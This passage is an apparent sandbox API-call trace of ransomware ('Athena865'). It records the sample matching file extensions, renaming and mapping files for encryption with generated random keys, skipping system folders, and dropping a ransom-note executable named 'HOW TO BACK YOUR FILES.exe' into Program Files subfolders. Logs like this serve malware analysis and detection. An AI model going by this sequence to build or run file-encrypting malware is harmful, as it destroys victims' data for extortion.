lpString2="ndf") returned -1 [0034.262] lstrlenW (lpString="nnt") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0034.262] lstrlenW (lpString="nrmlib") returned 6 [0034.262] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0034.262] lstrlenW (lpString="ns2") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0034.262] lstrlenW (lpString="ns3") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0034.262] lstrlenW (lpString="ns4") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0034.262] lstrlenW (lpString="nsf") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0034.262] lstrlenW (lpString="nv") returned 2 [0034.262] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0034.262] lstrlenW (lpString="nv2") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0034.262] lstrlenW (lpString="nwdb") returned 4 [0034.262] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0034.262] lstrlenW (lpString="nyf") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0034.262] lstrlenW (lpString="odb") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.262] lstrlenW (lpString="odb") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0034.262] lstrlenW (lpString="oqy") returned 3 [0034.262] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0034.262] lstrlenW (lpString="ora") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0034.263] lstrlenW (lpString="orx") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0034.263] lstrlenW (lpString="owc") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0034.263] lstrlenW (lpString="p96") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0034.263] lstrlenW (lpString="p97") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0034.263] lstrlenW (lpString="pan") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0034.263] lstrlenW (lpString="pdb") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0034.263] lstrlenW (lpString="pdm") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0034.263] lstrlenW (lpString="pnz") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0034.263] lstrlenW (lpString="qry") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0034.263] lstrlenW (lpString="qvd") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0034.263] lstrlenW (lpString="rbf") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0034.263] lstrlenW (lpString="rctd") returned 4 [0034.263] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0034.263] lstrlenW (lpString="rod") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0034.263] lstrlenW (lpString="rodx") returned 4 [0034.263] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0034.263] lstrlenW (lpString="rpd") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0034.263] lstrlenW (lpString="rsd") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0034.263] lstrlenW (lpString="sas7bdat") returned 8 [0034.263] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0034.263] lstrlenW (lpString="sbf") returned 3 [0034.263] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0034.263] lstrlenW (lpString="scx") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0034.264] lstrlenW (lpString="sdb") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0034.264] lstrlenW (lpString="sdc") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0034.264] lstrlenW (lpString="sdf") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0034.264] lstrlenW (lpString="sis") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0034.264] lstrlenW (lpString="spq") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0034.264] lstrlenW (lpString="te") returned 2 [0034.264] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0034.264] lstrlenW (lpString="teacher") returned 7 [0034.264] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0034.264] lstrlenW (lpString="tmd") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0034.264] lstrlenW (lpString="tps") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0034.264] lstrlenW (lpString="trc") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.264] lstrlenW (lpString="trc") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0034.264] lstrlenW (lpString="trm") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0034.264] lstrlenW (lpString="udb") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0034.264] lstrlenW (lpString="udl") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0034.264] lstrlenW (lpString="usr") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0034.264] lstrlenW (lpString="v12") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0034.264] lstrlenW (lpString="vis") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0034.264] lstrlenW (lpString="vpd") returned 3 [0034.264] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0034.264] lstrlenW (lpString="vvv") returned 3 [0034.265] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0034.265] lstrlenW (lpString="wdb") returned 3 [0034.265] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0034.265] lstrlenW (lpString="wmdb") returned 4 [0034.265] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0034.265] lstrlenW (lpString="wrk") returned 3 [0034.265] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0034.265] lstrlenW (lpString="xdb") returned 3 [0034.265] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0034.265] lstrlenW (lpString="xld") returned 3 [0034.265] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0034.265] lstrlenW (lpString="xmlff") returned 5 [0034.265] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0034.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\desktop.ini.Athena865") returned 38 [0034.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), lpNewFileName="C:\\Program Files\\desktop.ini.Athena865" (normalized: "c:\\program files\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0034.265] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.Athena865" (normalized: "c:\\program files\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x108 [0034.265] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0034.265] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0034.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x509550 [0034.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0034.266] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0034.267] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0034.267] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.267] CreateFileMappingW (hFile=0x108, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0xf0 [0034.267] MapViewOfFile (hFileMappingObject=0xf0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0034.267] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0034.268] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0034.268] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0034.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x50bdf8 [0034.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50bdf8 [0034.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0034.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0034.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0034.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0034.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0034.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0034.269] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0034.269] CloseHandle (hObject=0xf0) returned 1 [0034.269] CloseHandle (hObject=0x108) returned 1 [0034.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509550 | out: hHeap=0x4f0000) returned 1 [0034.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0034.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0034.270] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0034.270] lstrcmpiW (lpString1="DVD Maker", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.270] lstrcmpiW (lpString1="DVD Maker", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.270] lstrcmpiW (lpString1="DVD Maker", lpString2=".") returned 1 [0034.270] lstrcmpiW (lpString1="DVD Maker", lpString2="..") returned 1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="windows") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="bootmgr") returned 1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="temp") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="pagefile.sys") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="boot") returned 1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="ids.txt") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="ntuser.dat") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="perflogs") returned -1 [0034.271] lstrcmpiW (lpString1="DVD Maker", lpString2="MSBuild") returned -1 [0034.271] lstrlenW (lpString="DVD Maker") returned 9 [0034.271] lstrcpyW (in: lpString1=0x241e86a, lpString2="DVD Maker" | out: lpString1="DVD Maker") returned="DVD Maker" [0034.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2c0 [0034.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x509668 [0034.271] lstrcatW (in: lpString1="DVD Maker", lpString2="\\" | out: lpString1="DVD Maker\\") returned="DVD Maker\\" [0034.271] lstrcatW (in: lpString1="DVD Maker\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DVD Maker\\HOW TO BACK YOUR FILES.exe") returned="DVD Maker\\HOW TO BACK YOUR FILES.exe" [0034.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.274] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc30f380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0034.274] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0034.274] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1 [0034.274] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1 [0034.274] lstrlenW (lpString="Internet Explorer") returned 17 [0034.274] lstrcpyW (in: lpString1=0x241e86a, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0034.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2d8 [0034.274] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x46) returned 0x5171b8 [0034.274] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0034.274] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0034.274] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.280] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="windows") returned -1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="bootmgr") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="temp") returned -1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="pagefile.sys") returned -1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ids.txt") returned 1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntuser.dat") returned -1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="perflogs") returned -1 [0034.280] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="MSBuild") returned -1 [0034.280] lstrlenW (lpString="Microsoft Analysis Services") returned 27 [0034.280] lstrcpyW (in: lpString1=0x241e86a, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services" [0034.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c320 [0034.280] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b058 [0034.280] lstrcatW (in: lpString1="Microsoft Analysis Services", lpString2="\\" | out: lpString1="Microsoft Analysis Services\\") returned="Microsoft Analysis Services\\" [0034.280] lstrcatW (in: lpString1="Microsoft Analysis Services\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" [0034.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.283] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="temp") returned -1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="pagefile.sys") returned -1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="ids.txt") returned 1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="perflogs") returned -1 [0034.283] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSBuild") returned -1 [0034.283] lstrlenW (lpString="Microsoft Office") returned 16 [0034.283] lstrcpyW (in: lpString1=0x241e86a, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office" [0034.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c338 [0034.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517258 [0034.283] lstrcatW (in: lpString1="Microsoft Office", lpString2="\\" | out: lpString1="Microsoft Office\\") returned="Microsoft Office\\" [0034.283] lstrcatW (in: lpString1="Microsoft Office\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Office\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Office\\HOW TO BACK YOUR FILES.exe" [0034.283] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.285] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2=".") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="..") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="windows") returned -1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="bootmgr") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="temp") returned -1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="pagefile.sys") returned -1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="boot") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ids.txt") returned 1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ntuser.dat") returned -1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="perflogs") returned -1 [0034.286] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="MSBuild") returned -1 [0034.286] lstrlenW (lpString="Microsoft SQL Server Compact Edition") returned 36 [0034.286] lstrcpyW (in: lpString1=0x241e86a, lpString2="Microsoft SQL Server Compact Edition" | out: lpString1="Microsoft SQL Server Compact Edition") returned="Microsoft SQL Server Compact Edition" [0034.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c350 [0034.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x509550 [0034.286] lstrcatW (in: lpString1="Microsoft SQL Server Compact Edition", lpString2="\\" | out: lpString1="Microsoft SQL Server Compact Edition\\") returned="Microsoft SQL Server Compact Edition\\" [0034.286] lstrcatW (in: lpString1="Microsoft SQL Server Compact Edition\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe") returned="Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe" [0034.286] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.292] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xac65cca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xac65cca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2=".") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="..") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="windows") returned -1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="bootmgr") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="temp") returned -1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="pagefile.sys") returned -1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="boot") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ids.txt") returned 1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="ntuser.dat") returned -1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="perflogs") returned -1 [0034.292] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="MSBuild") returned -1 [0034.292] lstrlenW (lpString="Microsoft Sync Framework") returned 24 [0034.292] lstrcpyW (in: lpString1=0x241e86a, lpString2="Microsoft Sync Framework" | out: lpString1="Microsoft Sync Framework") returned="Microsoft Sync Framework" [0034.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 